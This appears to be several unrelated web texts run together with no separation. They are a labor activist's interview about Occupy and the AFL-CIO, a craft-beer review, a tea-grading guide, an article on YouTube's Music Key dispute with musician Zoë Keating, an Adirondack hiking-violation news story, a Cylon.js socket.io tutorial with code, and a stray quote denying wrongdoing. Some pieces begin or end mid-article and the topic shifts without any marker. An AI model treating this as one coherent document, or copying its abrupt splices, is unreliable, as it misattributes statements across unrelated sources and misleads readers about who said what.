In terms of “general strike,” I would say that before occupiers takes that action they should check around with all the unions to see what support it will get. It would be terrible if it had minimal support and no one really noticed.
But there is no question that there will be support for May Day actions. Occupy is doing a great job, and certainly has a good outlook. They have made a tremendous impact on the American labor movement, and I am positive that important changes will be taking place in the AFL-CIO because of it.
Organized labor should learn from Occupy that working people have to be involved in their own fate. In the AFL-CIO and the labor movement, union members are utterly ignored. The AFL-CIO is ruled by a handful of international union presidents. They can ignore working people at their pleasure and do whatever they want to do. For more than 100 years, no member out of a state federation of labor or central labor council or local union has ever been elected to a national leadership position.
Organized labor also has to recognize the significance of inequality, here and around the world. I mean the fight against inequality has now erupted, and what the occupation of Wall Street has done at a very minimum is to make that an issue that will continue forever until there is some reasonable solution.
How can labor wield more power in our politics?
AFL-CIO President Richard Trumka promised, as a concession to worker protests, that they would have an independent worker voice and that they would not be dependent on the Democratic Party—that they would speak in terms of their own needs and desires. But that has never happened. There’s a division within labor about what to do about the Democratic Party. There’s strong opposition to many of the Democratic leaders, but there’s no action taken to form some kind of committee that will take this opposition forward.
They just had another demonstration on tax day. Their policy is to have demonstrations and e-mails as pressure points against the White House. By now they should know it doesn’t work. They’re pretending.
There is no single action that can turn this quiescent, do-nothing leadership around. If the two candidates are anti-labor, we can run our own. We may not win an election, but we’re making a statement. And we must be more energetic. For example, hold sit-downs in Congress, or a four-hour strike.
Or leave it to workers and tell them: “Look, you’re not going to have any jobs in the future—what do you propose to do?” Let the workers decide, because if you’re in a situation where the future is as bleak as many workers are facing, they’re not going to sit around and mope around. They’re going to find ways to express their anger. Right now they’re not expressing their anger in sufficient form.
How do you see the state of labor’s relationship to other progressive movements?
The AFL-CIO has, to its credit, tried to broaden itself by adding new allies to its campaigns, allies that agree in general, or in some cases on particular issues. And that’s all to the good. But not much has come from that. They put out literature, they perform an educational job, and that’s pretty much it.
On the other hand, the AFL-CIO website and statements from its officials will absolutely ignore the topic of contraception and abortion, because they say these are controversial issues. They ignore the fact that women represent 42 percent of the entire AFL-CIO membership.
What will the labor movement look like twenty years from now, or fifty?
Working people in the future will have to deal with the fact that millions of workers will no longer have jobs, because the economy is already in the process of change. New technology and automation are reducing the workforce. That will be the most serious problem: who will get the jobs?
What kind of living will the workers of tomorrow have? I don’t fancy that it will be really great. The unions are still limited to wages and hours. But we could end up with a poorly educated working class that cannot compete with the working class of other countries. It’s going to be a very tough thing for our children and grandchildren to cope with.
Our generation did pretty well at surviving—not great, but pretty well. But the question that bothers me is, What is the legacy that we can leave our children and grandchildren that will help them in their future lives? I don’t see any.
But I have confidence that our children and grandchildren will find a way to deal with the incredible pressing problems that they will face. I have in mind the Egyptian spring. Workers will stand so much, and then rebel. I do have confidence that we will see that day. We are seeing some of it today.
I, as an individual, am absolutely committed that for whatever years I have left, I will do my part to see that working people have their rights, and that the kind of chance for living that we promise people in the preamble to our Constitution actually takes place.
An article by Noah Forrest
Surprise! Once again Les Trois Mousquetaires has decided to unleash some extremely limited bottles on unsuspecting beer geeks! Yes, that’s right, the two newest members of the illustrious Barils d’Exception series were available for purchase this morning; specifically Déjeuner Impérial and P.A.B. Sadly though, they will go quick. Once again, Beerism has the scoop, so sit back and read about these amazing new offerings!
I think LTM does a great job all around. Besides making great beer, they also have reasonable prices, good distribution, and an excellent social media presence; which they use to inform us customers on where and when to buy their products. This is especially handy for their more limited products. They really seem to have carved out their own piece of the Quebec beer market with the perfect range of offerings. They have their Gamme Régulières, which are simple, straightforward styles, that can be purchased by the case. Then there are the more higher end labels, like Séries Signatures, Grande Cuvée, and Hors Séries, which range from generally available to quarterly available. And finally there is their newest series called Barils d’exception, which are very limited, brewery only releases, that carry an extremely special characteristic. First came Baril Unique, their Porter Baltique aged in a bourbon barrel from 1978, then Barils d’exception: Speyside, the same porter aged in rare scotch whiskey barrels. Now, two new editions were released this morning, which I’ll get to in a moment.
I can imagine that some people might get frustrated when they read about these extremely limited offerings, where there are only 250-500 bottles available, and you basically need to take the day off of work to go get them, or wait in a long line to buy one. I think that’s fair. However, given that LTM has such a range of products, several of which are amazing barrel-aged beers that have a surprisingly large distribution, very reasonable prices, and can be bought at your local beer-dep, then perhaps we can forgive the difficulty behind these micro-releases; at least more so than other breweries. From my perspective, these beers are a gift for the hardcore fans that are willing to go above and beyond in order to try these amazing offerings. I’m also well aware that I’m particularly lucky in being able to try these ahead of time and should probably just shut my mouth.
Instead of me trying to explain to you the complexity behind these two sexy new specimens, I got with Alex (head brewer) so that he could give us all the ins and outs.
Barils d’Exception: Déjeuner Impérial
“This one is a very special project. I wanted to brew an imperial stout for quite a time now, but since our flagship beer is an intense Baltic Porter, the two beers would be too similar (without being exactly the same, because a Baltic porter has less roasted malts and more caramelized malts, as well as more fruit notes). It’s really not in the plans to brew an imperial stout on a regular basis, but we want to offer other special beers some of the time. So, I seized the opportunity to brew the imperial stout of my dreams.
We selected a very good 14 year old bourbon barrel among all the ones we received for the next “Baltique Édition Spéciale” and we filled it with a completely different recipe. This is important. It is NOT a Baltique wort. There is a lot more roasted malts, a lot less caramelized malts, no smoked malts, and way way more oats. It’s also more bitter (50 IBU) and it’s fermented with a completely different yeast of British origin. The beer was actually very good after the fermentation was completed, but we had something more in mind: a breakfast imperial stout.
This sub-style is brewed with ingredients reminiscent of so-called “morning” flavours, like coffee, maple, and even bacon. Adding coffee was an obvious choice, even though we wanted to do it with a special technique. With the help of an high-school friend of mine who now owns a coffee shop, we sampled several different coffees and we finally selected a premium quality coffee called Tanzania-Peaberry. It is not too dark and tends to develop more ”fruity” notes rather than over-the-top roasted flavors. It was important to choose this kind of coffee so it wouldn’t hide the roasted malt flavors in the beer.
For maple, we didn’t want to simply add syrup, because (a) if you put it in the wort before fermentation it will completely ferment and leave almost no flavour, and (b) if you put it in after fermentation with the yeast removed, it will intensely raise the sugar level of the beer. We didn’t want to do either of these things, so after some research, we went with another solution: we put actual maple wood staves in the barrel – and the result is spot on. It’s mind-boggling how the wood contributed rich and deep maple flavours very similar to syrup, but without the cloyingly sweet side. I’m very happy with this beer. It’s intense, yet all the flavors balance each other. It’s a breakfast of champions.”
Sorry, I just need to compose myself for a moment… Okay, I’m good now. Wow. Just wow. LTM’s Baltic Porter is a classic, but I’ve secretly wanted Alex to cook up an imperial stout for some time, so you can only imagine my excitement when I read the above description. Let’s dive in!
The nose wafts huge coffee and bourbon notes, throwing vanilla, oak, and cooked toffee at me with incredible vigor. The maple adds a beautiful complexity, lending layers of tir (cooked maple syrup) to go alongside the earthy and robust espresso-like aromas.
For 11.9%, this drinks incredibly well. The body is thinner than I expected, but where it really differs from the Baltic Porter is the solid, bitter finish. The coffee is very apparent, but doesn’t outshine anything else, instead contributing to the other components nicely. The beautiful bourbon layers are unreal, with gigantic vanilla sweetness, that, alongside the maple staves, and coffee, really provide an uncanny “breakfast” feel. However, this is not exactly sweet, or rather, whatever sweetness there is gets balanced against the bittering hops and coffee. It is still a tad sticky, though.
Overall, the bourbon shines brightest here, with the coffee and maple further complimenting the nice dark roasted components quite brilliantly. I feel like if this had a bit more body, that it would be perfection. That being said, this is very very good
Barils d’Exception: PAB (Plums, Apricots, Brett)
When we emptied the 1978 bourbon barrel for the release of Baril Unique, we obviously had to fill it again, just to see what would come out of it. Sure, we knew the bourbon flavors would be less intense, but I had an idea to get the best out of it… Since there were already subtle notes of plums and apricots coming from this barrel, why not add some whole fruits in it this time? And while being at it, why not add brettanomyces as well, hey? So here it is. Do not expect a fruit bomb, though. We’ve put just the right amount of plums and apricots to actually contribute in the profile and complexity of the beer, but not enough for them fruits to steal the show. So, it’s all about balance, yet again. I was actually quite surprised and pleased to find that the 1978 barrel character is still contributing in this beer. You can really tell it’s the same barrel. So, the final result tastes somewhat like if Dixième and Baril Unique had a one night stand together. *70s funk music playing*
So… You took a second use 1978 bourbon barrel and threw more Baltic Porter in there with plums, apricots and loads of Brett? Marry me? No, like seriously, we could be happy together. Okay, let’s taste this thing before I embarrass myself further.
The nose tosses big fruity notes at me in all directions, making it hard to pin-point each component. Chocolate and coffee meets tart cherries, stone fruit and sour apples. The rich and beautiful bourbon notes come out as well, lending vanilla and oak to the mix. It smells a bit acidic, alongside some phenolic Brett funk, but not a ton.
What an interesting beer. I don’t even know where to begin. To start, it’s dry. The cloying Baltic Porter sweetness has been eaten way by the Brett, and alongside the tart fruit and oak tannins, it’s perfectly balanced in that regard.
It’s tremendously fruity, with lots of tart berry flavours mixing in with the actual stone fruits that were added. The dark rosted elements are still there, but subdued in comparison to any other version of this beer. The 38 year old bourbon notes are subtle, but still lend that sexy vanilla thing. However, it’s that aged bourbon fruitiness that shines here, further complimenting the tangy plums and apricots.
As it warms, the leathery brett elements come through more directly. As well, each beautiful layer starts to make itself known in a more pronounced fashion. The juicy & tangy stone fruit, the bretty dryness, the chocolatey & coffee roasted malts, and the exquisite, richly fruity and subtly vanilla forward bourbon barrel all work in unison. They function together beautifully, creating a harmony of flavour. This really transcends itself, being far more than a sum of its parts.
Well, as quickly as these two epic beers arrived, they will be gone. I consider myself very lucky to have had the chance to try them. For those who made the journey to Brossard this morning, I hope you’re able share these beautiful libations with friends.
An article by Noah Forrest
Photography by Noah Forrest
Best of the Black Teas
Black tea makes up 98 percent of the international tea market, so there are many more varieties and grades of black tea. There are four basic sizes of black tea leaves: leaf, broken leaf, fannings (smaller than broken leaf), and dust (the smallest grade, almost a powder). Size does matter, but it isn't the final determination of tea quality. Generally, the smaller the leaf size, the faster the tea brews, giving the final product a darker shade and a more intense flavor. The larger, whole leaves offer a smoother flavor and a lighter-colored brew.
Black teas are typically described by the term pekoe (pronounced peck-oh). Pekoe is accompanied by a long list of adjectives that more specifically classify the tea. Tippy, for instance, is a modifier added to both whole and broken leaf grades to let the buyer know that there are buds in the tea. (The more buds, the higher the quality.) Acronyms are created out of all the terms associated with a particular tea, and the acronym is stamped or printed on the outside of the tea chest or tea box for ready reference. The more letters, the higher quality the tea.
Here's a small sampling of the black tea grades and their accompanying acronyms.
Pekoe (P) Leaves that are shorter and less wiry than orange pekoe -- may also be called early pekoe.
Orange pekoe (OP) This describes the unbroken leaf. While orange pekoe is not necessarily a better tea, the leaves are thin and rolled and make an overall good presentation.
Broken orange pekoe fannings (BOPF) Smallest of tea particles from the tea leaf. What you usually find in your tea bags.
Golden Flowery Orange Pekoe (GFOP) The whole orange pekoe leaf, unrolled, with a golden tip. This tip coloring indicates that the leaf buds were picked when they were young and tender.
Supreme Finest Tippy Golden Flowery Orange Pekoe (FTGFOP) The very highest quality flowery orange pekoe with the most golden tips.
Souchong (S) This is a coarser, flat leaf and is sometimes the fourth leaf of the shoot. Though it is considered to be a lower-quality tea leaf, it has a bold taste. It's grown most often in Taiwan and China.
Oolong Tea Winners
The vast majority of oolong teas are made in Taiwan, and the Taiwanese government developed the grading system for it. Like all tea grading, this one can be a bit complicated. This system is based on the taste of the brew, not on the leaf size or quality. Most oolong grading includes the following categories (plus some subcategories), from lowest to highest grade: Standard, On Good, Good, Fully Good, Good Up, Good to Superior, On Superior, Superior, Fully Superior, Superior Up, Superior to Fine, On Fine, Fine, Fine Up, Fine to Finest, Finest, Finest to Choice.
Grading the Green and White Teas
Each Asian country has its own complex terminology for grading green and white teas. The system involves many categories and subcategories. For Chinese green tea, the grade is based on the age of the leaf before processing and the shape of the leaf after processing. Some Chinese green teas that have varying grades are Gunpowder, Imperial, and Young Hyson. Japanese green teas are graded by district, style, and cup quality. Some common grading terms used for green and white tea are: Extra Choicest, Choicest, Choice, Finest Fine, Good Medium, Medium, Good Common, Common, Nubs, Dust, and Fannings.
On our final page, you will learn how tea is produced.
"Wow, that's pretty harsh," said Keating.
"Yeah, it's harsh and trust me, it is really difficult for me to have this conversation," the caller responded.
It was difficult for Keating, too.
According to a transcript of the conversation provided by Keating, YouTube told the successful independent cellist and songwriter that, unless she opted in to YouTube's new streaming service, Music Key, by signing a proposed contract without stipulation, her ability to earn ad revenue from the 9,696 videos featuring her songs, and their roughly 250,000 monthly views would be effectively revoked; her music would appear on Music Key anyway; and furthermore, YouTube would have to block her from uploading new material from her current account.
Keating's blogpost about the exchange went viral. It garnered media attention from outlets such as The Guardian and Digital Music News. Some journalists then received demands for headline retractions from YouTube. To many industry observers and advocates for musicians in the digital realm, the dramatic exchange provided a rare look into YouTube's aggressive negotiating tactics, media meddling, and a public effort to discredit Keating's objections.
YouTube, which has roughly a billion monthly users, has long been used as a streaming service. Most songs are uploaded to the site. Announced last year, Music Key is YouTube's plan to compete with the market's dominant forces: Pandora, Spotify, and Apple's new player in the streaming game, Beats.
To launch the service, which is currently in the beta-testing phase, YouTube must strike deals directly with sound copyright owners. Arrangements with the major labels materialized last year, but one prominent holdout was the indie label umbrella organization Merlin. In June of last year, YouTube's head of content and business operations told the Financial Times that the company planned to begin blocking videos in "a matter of days." Within a month, however, YouTube was "back-flipping and backtracking," according to a source quoted by the Financial Times.
YouTube now appears to be wrangling independent artists who manage their own material. Keating's objections echo the Merlin dispute, but she lacks the collective bargaining entity's clout. To compensate, she's exhibited a level of transparency that's rare in an industry in which non-disclosure agreements reign.
Under Keating's current contract with YouTube, she is a music partner, which means she has access to YouTube's ContentID system, an interface for monitoring her own uploads as well as third-party videos that feature her music. In a testament to Google's content-trawling faculties, ContentID is constantly scanning YouTube for descriptions, metadata, or audio file details for which Keating holds copyrights. Through ContentID, Keating then has an option to mute audio that matches her music; block the entire video from being viewed; monetize the video by running ads against it; and track the video's viewership statistics, according to YouTube's website.
As part of Keating's current agreement with YouTube, she cannot disclose how much she makes from the service. But, Keating revealed in her blogpost that, as the sound recording copyright owner and featured artist, about 250,000 monthly spins on Pandora earns her roughly $324. For the same amount of plays on YouTube, she wrote, the compensation is "far less."
Keating has disclosed her earnings from streaming services in the past. As noted in the Express cover story on Pandora (See "The Tyranny of Free," 11/19/14), Keating disclosed in detail her paltry earnings from various internet radio services in 2012. In regards to Music Key, however, the issue is less about the proposed compensation than it is about control.
Keating objected to several components of the proposed Music Key contract, including a requirement that all of her catalog must be included in the free and premium tiers of YouTube and Music Key; that her new releases must appear on Music Key at the same time as other services; and that the contract lasts for five years.
YouTube's representative reportedly told Keating that if she declines the proposed terms, "the content that you directly upload from accounts that you own under the content owner attached to the [pre-existing] agreement, we'll have to block that content." If she doesn't opt in to Music Key, the transcript makes clear, her ability to selectively monetize videos featuring her recordings will disappear.
David Lowery, the Cracker and Camper Van Beethoven songwriter and an outspoken advocate for artist rights in the digital music industry, underscored Keating's objections. Denied by Music Key's proposed terms is her ability to strategically "window" releases and offer websites exclusive premieres, which Lowery called an effective and widespread marketing strategy that he and countless other artists regularly employ.
"We're developing these new monopolies, but they don't necessarily abuse the consumer," Lowery said in an interview. "They use their power to abuse the producer."
Furthermore, on his blog, TheTrichordist.com, Lowery posted an open letter to the Federal Trade Commission explaining how the terms of Music Key amount to an antitrust concern. "Independent artists have no way to take on anticompetitive behavior by Google in the courts," he wrote. "Zoë Keating's experience is emblematic of all of us and I implore you to listen to her voice." Impala, an indie label trade organization, filed a complaint with the European Commission last year similarly attacking Google's antitrust behavior.
He added in the letter, "I understand that Google is conducting a whisper campaign with journalists in an attempt to discredit Zoë Keating."
One of the journalists who reported on Keating's plight was Paul Resnikoff at DigitalMusicNews.com. He republished her blogpost under the headline, "YouTube is Removing Any Artist That Refuses to License its Subscription Service." A representative from YouTube contacted him and demanded a retraction of the headline, calling it "patently false." In a subsequent email exchange, which Resnikoff posted online, the representative cited a basic terms of service policy as proof that any user in agreement can upload content, not contesting other terms dictated to Keating. (When I contacted YouTube with several specific questions, I received the same statement.) When reached by email, Resnikoff said that he didn't plan to heed the retraction demand. "YouTube is exhibiting some pretty ugly treatment toward artists," he wrote. "And understandably they don't want it reported accurately."Following the exchange, Keating posted the transcript of her phone exchange with YouTube's representative. Digital Music News' headline remains, as does a very similar one published by Forbes, whose author was also contacted by YouTube, according to Resnikoff.
Resnikoff's original article appeared on January 23. An interview with Keating on the matter, conducted by Glenn Peoples, who regularly reports in detail about the digital music industry, appeared on Billboard.com on January 28. It mentioned YouTube's denial while acknowledging that, "meticulous note-keeping helps back up Keating's version of the story."
The next day, however, Billboard published another article condescending to Keating as a "confused" "part-time pundit." The piece states that YouTube had been in touch to "clarify" the contract proposed to Keating, directly contradicting Keating's transcribed conversation and her unsigned contract. According to explanations provided to Billboard, the Music Key agreement wouldn't deny Keating's ability to window releases. Additionally, her music wouldn't be available through Music Key without consent, another claim that's contrary to Keating's conversation with YouTube's representative.
A day after the lengthy interview, Billboard even appeared to imply doubt about Keating's note-taking: "These responses go against descriptions of the agreement presented to Keating (and transcribed by her)," the article read, "and presumably present an update to the contract's terms."
Keating wrote in an email, "I've been negotiating with [YouTube] for a year, and at no point have any of the terms I've been concerned about been flexible in any way. Then suddenly, after a little public sunshine, a couple of the more onerous points have disappeared? [YouTube] has yet to contact me about any of this."
She continued, "Now it's clear to everyone except a Wall Street banker that there are elements of the contract that are fundamentally unethical, and that [YouTube] wouldn't be able to insist on some of these terms if they weren't hiding behind [non-disclosure agreements]."
YouTube appears to be working toward mending its public image while ignoring Keating's contractual dispute. Despite the Google-backed company's damage control campaign, Keating's bargaining power remains compromised.
A forest ranger charged a 34-year-old Quebec man, who organized the trip, with exceeding the High Peaks Wilderness day-use group-size limit and guiding without a license. A 27-year-old Quebec woman was also charged with guiding without a license. The DEC has not provided the Almanack with the names of those charged in this incident.
Each charge is a violation with a maximum possible penalty of a $250 fine and 15 days in jail. In the High Peaks Wilderness, DEC regulation prohibits groups of more than 15 people from hiking or more than 8 people camping.
One of the leaders of the trip now says he is receiving threatening emails, including two from people who said they would kill him if he returned to the Adirondacks.
“(Another) two people just wrote me (that) I should go to jail for my whole life, and I would be better dead than alive for what (I) did,” he said.
The man said he has “learned his lesson” and that he flabbergasted by the amount of attention the incident has received.
“With just one mistake, my career for hiking will be ruined,” he said.
The man, who asked not to be identified because of the threats he and his family are receiving, said he was just an employee following directions from a travel agency and that the group of 67 was split into six groups of 10 to 12 people each. There were two paid leaders and four volunteer ones. He said the groups were separated by about a mile on the trail on the way up, with three groups going back down the way they came and the other three taking the trail toward Lake Colden on the other side of the mountain. Numerous commenters have reported seeing the large group together on the summit.
The leader has received many emails and comments from people angry about the group size. The topic has drawn a lot of attention on the Almanack and various Facebook pages.
According to the DEC, two buses from Quebec dropped off 67 people at the Adirondak Loj trailhead. The incident was reported to a forest ranger who worked with assistant forest rangers and summit stewards to locate the group. No one in the group registered at the trailhead.
“These regulations were developed to protect the trails and natural resources of the High Peaks Wilderness and to help ensure a good quality experience for all users,” according to a DEC statement about the tickets. “The regulation adheres to Leave No Trace principles.”
Hiking behavior in the High Peaks has been a topic of discussion on social media and the Almanack in recent days, in part because an article, “Beyond Peak Capacity: A Boom in High Peaks Hikers,” raised a series of questions regarding the management of several High Peaks trails. Usage on trails, such as those leading to Algonquin Peak and Mount Marcy, has increased significantly in recent years and has resulted in some negative impacts.
The Van Hoevenberg Trailhead, which starts near Adirondak Loj, is perhaps the most popular trailhead in the Park. Trails off it lead to Mount Marcy, Algonquin and other destinations in the Eastern High Peaks. Last year, 53,423 people signed the trail register — a 62 percent increase from 2005.
The increase in usage has come with problems associated with hikers not adhering to “Leave No Trace” principles by doing things such as hiking in large groups and leaving behind garbage. There have been numerous reports of hikers defecating too close to trails and directly on them.
Hiker Jilly McKissick said in an post in an Adirondack hiking Facebook group that she hiked Algonquin and Iroquois Saturday and found unsanitary trail conditions that same day.
“The amount of human (poop) on the trail was unreal. Disgusting,” McKissick said in the Facebook post. “On the way to Iroquois there was poop literally in the middle of the path! Before anyone feels the need to say ‘stop talking about poop’, let me say that it needs to be talked about it is a seriously health safety issue, and really people WTF! Another negative point was the amount of people on the trail…”
The male leader said that wasn’t from his group.
“We never pooped on the way,” he said. “It was already there.”
DEC and other groups have been trying to address this concern by installing more privies near summits, and the AuSable River Association led a campaign to install Porta-Johns near numerous trailheads along state Route 73, including Cascade Mountain.
Several people interviewed by the Almanack have said that DEC lacks the proper staffing levels to properly manage the High Peaks Wilderness. Forest Ranger Scott VanLaer commented on the Almanack about that topic.
“The Forest Ranger staffing levels are completely inadequate for the High Peaks district,” he said. “We have evolved into a emergency response team because of the incredible volume of incidents and now the mere possibility of these incidents. If you review the Forest Rangers annual reports and look through the statistics there is significant evidence to support this conclusion…..miles hiked, campsites inspected, tickets written, public presentations made, have all dropped, some significantly. The high volume of rescue means more rangers are kept in the front country (their truck) so they can respond because we never know where the emergency will occur. We always had some rangers in that type of response mode but now it requires most of us to do so, especially on a Saturday. That is also when Stewardship and public interactions would be the most effective and we just can’t accomplish it now.”
The annual Division of Forest Protection reports show that the Adirondack High Peaks region (referred to as Zone C) contains 365,581 acres of state land (mostly Forest Preserve) and 12,581 acres of conservation easements. It says the land is patrolled by six forest rangers, three seasonal assistant forest rangers and one lieutenant.
Much of the High Peak forest rangers’ time is absorbed by search and rescue missions. Last year, 100 of the state’s 275 missions took place here. In addition, many of these rescues are time consuming because of the remote nature of the landscape. The 100 rescues are double the amount that took place in 2006.
As a result, DEC zone C forest rangers have had less time to patrol the backcountry and deal with the crowds. In fact, last year they issued the fewest tickets and arrests in the state of any ranger district. They recorded just 30 of the 2,847 tickets and arrests statewide.
The Division of Forest Protection shows that forest rangers in Zone C took part in no training events or public presentations last year. The report says there were 27,074 attendees statewide at these events, putting in 1,441 hours.
Adirondack Mountain Club Education Director Julia Goren told the Almanack previously that the DEC needs more staffing in the High Peaks area.
“The state funding hasn’t increased,” Goren said. “They’ve still got the same number of caretakers. They’ve got fewer assistant forest rangers than they used to have. They have rangers that have even more territory and even less time to be out there. Foresters, with ever more land that they are supposed to be managing, writing management plans.”
The Adirondack Mountain Club’s Facebook page reported that more than 1,000 people signed the Adirondak Loj trailhead Saturday. That trailhead leads to Eastern High Peaks trails, such as Mount Marcy and Algonquin.
Photo: McIntyre Range, which includes Algonquin Peak.
by Edgar Silva
In the latest release of Cylon.js, we made a big change to how the built-in API was implemented: we removed the API from the core Cylon.js module. Instead, we have implemented a simple plug-in system for API modules. This gives several advantages, like a smaller file size for the base cylon module if you do not need the API. It also allows you to only use the interfaces you actually need.
We currently have two different API plugins to choose from, cylon-api-http and cylon-api-socketio. The "http/https" API plugin is used to service REST-style API calls into Cylon.js, as well as supporting the Robeaux web user interface.
The newest API plugin, and what this post is about, is cylon-api-socketio , which as the name suggests adds support for the socket.io module. This makes it easy to command or retrieve data from a Cylon.js robot, simply by using a socket.io client such as a browser-based application.
Installation
First, you must make sure everything is installed. This is pretty simple. As with any other Cylon.js module, you first install cylon . Then install cylon-api-socketio , like this:
$ npm install cylon cylon-api-socketio
Creating The Robot and Setting Up The API
We declare our robot as usual using Cylon.js. Once this is done we can add our Cylon.api() call in our code, and then finally we start the work.
blink-server.js
' use strict ' ; var Cylon = require( ' cylon ' ); Cylon.robot({ name : ' chappie ' , connections : { arduino : { adaptor : ' firmata ' , port : ' /dev/ttyACM0 ' } }, devices : { led : { driver : ' led ' , pin : 13 } }, work : function () { } }); Cylon.api( ' socketio ' , { host : ' 0.0.0.0 ' , port : ' 3000 ' }); Cylon.start()
The example above would be our "server" side program, which is in charge of handling all of the API socket connections. It creates and sets up the appropriate socket.io server listener. Once a user connects to the main Cylon.js socket, it creates sockets for the robots and devices, and sets up the appropriate routes, namespaces and listeners. Once you have connected, issuing commands and listening for events is pretty easy.
Connecting To A Socket and Sending Commands
In the following example, we will connect to the robot defined above, and then make an LED blink by sending a command to the led device from a client running in the browser.
First, run the blink-server program and wait for the work block to start. Then save the following html code in a file ( blink-client.html ) and open it in a browser:
blink-client.js
<!doctype html> <html> <meta charset = " utf-8 " > <head> <title> Socket.IO chat </title> <style> * { margin : 0 ; padding : 0 ; box-sizing : border-box ; } body { font : 13px Helvetica , Arial ; } form { background : #000 ; padding : 3px ; position : fixed ; bottom : 0 ; width : 100% ; } form input { border : 0 ; padding : 10px ; width : 90% ; margin-right : .5% ; } form button { width : 9% ; background : rgb(130, 224, 255) ; border : none ; padding : 10px ; } #messages { list-style-type : none ; margin : 0 ; padding : 0 ; } #messages li { padding : 5px 10px ; } #messages li :nth-child ( odd ) { background : #eee ; } </style> </head> <script src = " https://cdn.socket.io/socket.io-1.2.0.js " > </script> <script src = " http://code.jquery.com/jquery-1.11.1.js " > </script> <script type = " text/javascript " > var device; window. onload = function () { device = io( ' http://127.0.0.1:3000/api/robots/chappie/devices/led ' ); device.on( ' message ' , function (msg) { $ ( ' #messages ' ).append( $ ( ' <li> ' ).text(msg)); }); setInterval( function () { device.emit( ' toggle ' ); }, 1000 ); msg = ' You have been subscribed to Cylon socket: ' + device.nsp; $ ( ' #messages ' ).append( $ ( ' <li> ' ).text(msg)); $ ( ' form ' ).submit( function (){ device.emit( ' message ' , $ ( ' #m ' ).val()); $ ( ' #m ' ).val( ' ' ); return false ; }); }; </script> <body> <ul id = " messages " > </ul> <form action = " " > <input id = " m " autocomplete = " off " /> <button> Send </button> </form> </body> </html>
You should see the built-in LED in your Arduino start blinking. The commands to tell the LED to blink, are all being sent from the browser to the robot, using the device socket we created and then calling device.emit('toggle'); .
This is the especially interesting part right here:
device = io( ' http://127.0.0.1:3000/api/robots/chappie/devices/led ' );
Even though we are using a socket, we are using the same routing path style as we would use for the RESTful API call, following the Common Protocol for Programming Physical I/O standard.
By following this format for our "routes", all of the device commands and events you can use in a regular Cylon.js program are available to clients thanks to cylon-api-socket. Now, let's learn how to listen for events.
Listening For Robot Or Device Events In A Socket
We'll dial up the complexity a little bit, by using custom robot commands and events. It is worth mentioning that you can listen to any device-emitted event in the same fashion, but by connecting to the device socket instead.
As with the previous example, we start by defining our robot and setting up the Socket.io API. Here's how we add the custom commands and events:
robot-events-server.js
' use strict ' ; var Cylon = require( ' cylon ' ); Cylon.robot({ name : ' chappie ' , events : [ ' turned_on ' , ' turned_off ' ], commands : function () { return { turn_on : this .turnOn, turn_off : this .turnOff, toggle : this .toggle }; }, connections : { arduino : { adaptor : ' firmata ' , port : ' /dev/ttyACM0 ' } }, devices : { led : { driver : ' led ' , pin : 13 } }, work : function () { after(( 2 ).seconds(), function () { this .turnOn(); }.bind( this )); after(( 5 ).seconds(), function () { this .turnOff(); }.bind( this )); }, turnOn : function () { this .led.turnOn(); this .emit( ' turned_on ' ); }, turnOff : function () { this .led.turnOff(); this .emit( ' turned_off ' ); }, toggle : function () { this .led.toggle(); if ( this .led.isOn()) { this .emit( ' turned_on ' ); } else { this .emit( ' turned_off ' ); } } }); Cylon.api( ' socketio ' , { host : ' 0.0.0.0 ' , port : ' 3000 ' }); Cylon.start();
Let's go over the code above. First, we define a new robot and add events to it. The API plugin will register listeners for these events.
Then we define custom commands that will be available to the API. As you can see, defining commands is slightly different, but this is for a good reason. This way you can create aliases for your robot methods more easily. You can also just define methods in your robot and omit the commands definition, in which case all of the methods added to the robot would be available to the API. We prefer this more explicit way of doing it, which gives you more control over what you are exposing to the API.
Now, let's take a look at the client side of this example:
robot-events-client.js
<!doctype html> <html> <meta charset = " utf-8 " > <head> <title> Socket.IO chat </title> <style> * { margin : 0 ; padding : 0 ; box-sizing : border-box ; } body { font : 13px Helvetica , Arial ; } form { background : #000 ; padding : 3px ; position : fixed ; bottom : 0 ; width : 100% ; } form input { border : 0 ; padding : 10px ; width : 90% ; margin-right : .5% ; } form button { width : 9% ; background : rgb(130, 224, 255) ; border : none ; padding : 10px ; } #messages { list-style-type : none ; margin : 0 ; padding : 0 ; } #messages li { padding : 5px 10px ; } #messages li :nth-child ( odd ) { background : #eee ; } </style> </head> <script src = " https://cdn.socket.io/socket.io-1.2.0.js " > </script> <script src = " http://code.jquery.com/jquery-1.11.1.js " > </script> <script type = " text/javascript " > var robot; window. onload = function () { robot = io( ' http://127.0.0.1:3000/api/robots/chappie ' ); robot.on( ' message ' , function (msg) { $ ( ' #messages ' ).append( $ ( ' <li> ' ).text(msg)); }); robot.on( ' turned_on ' , function (){ console.log( ' The robot "chappie" just turned ON its led!!! ' ); }); robot.on( ' turned_off ' , function (){ console.log( ' The robot "chappie" just turned OFF its led!!! ' ); }); setInterval( function () { robot.emit( ' toggle ' ); }, 1000 ); msg = ' You have been subscribed to Cylon sockets: ' + robot.nsp; $ ( ' #messages ' ).append( $ ( ' <li> ' ).text(msg)); $ ( ' form ' ).submit( function (){ robot.emit( ' message ' , $ ( ' #m ' ).val()); $ ( ' #m ' ).val( ' ' ); return false ; }); }; </script> <body> <ul id = " messages " > </ul> <form action = " " > <input id = " m " autocomplete = " off " /> <button> Send </button> </form> </body> </html>
In the above example, we start by connecting to the robot namespace. In Cylon.js all of out API routes (or API namespaces, in this case) start at the /api level. From there we can connect to a specific robot, simply by providing the robot's entire namespace, in this case /api/robots/chappie .
We then add a couple of listeners. First, one for the default message event that you can use to check socket connectivity to the robot. Then two more for the two custom events that we defined in our robot-events-server program.
Finally we setup a time interval to make the LED blink, but in this case we are do it by calling/sending one of the custom commands we defined in the robot.
Conclusion
As you can see, the possibilities for what you can do with this are enormous! You could add sensors to your robot and monitor in real-time, fly a drone from your browser, or connect to one robot, then trigger functionality in another robot, based on real-time sensor data, just to name a few.
We hope you find this blog post on how to use Socket.io with Cylon.js useful, and don't forget to check our API docs for more detailed information.
We have now made it easy to implement new interfaces, just by adding new API plugins. Be sure to follow us on Twitter at @CylonJS to receive updates as we implement new ways to communicate with Cylon.js.
“I was in a relationship, which I ended, and obviously it was all very distressing. I am by no means the first person to find out that someone close turns out to be different to what you had believed them to be. It’s an ordinary human error.
“I was obviously hurt when I was later falsely accused publicly of wrong-doing. I didn’t do anything wrong and to have false allegations in the media was distressing.”
The article also says “But she has strenuously denied ever knowing what the association’s bank accounts were used for.” (Click here to read the full article)
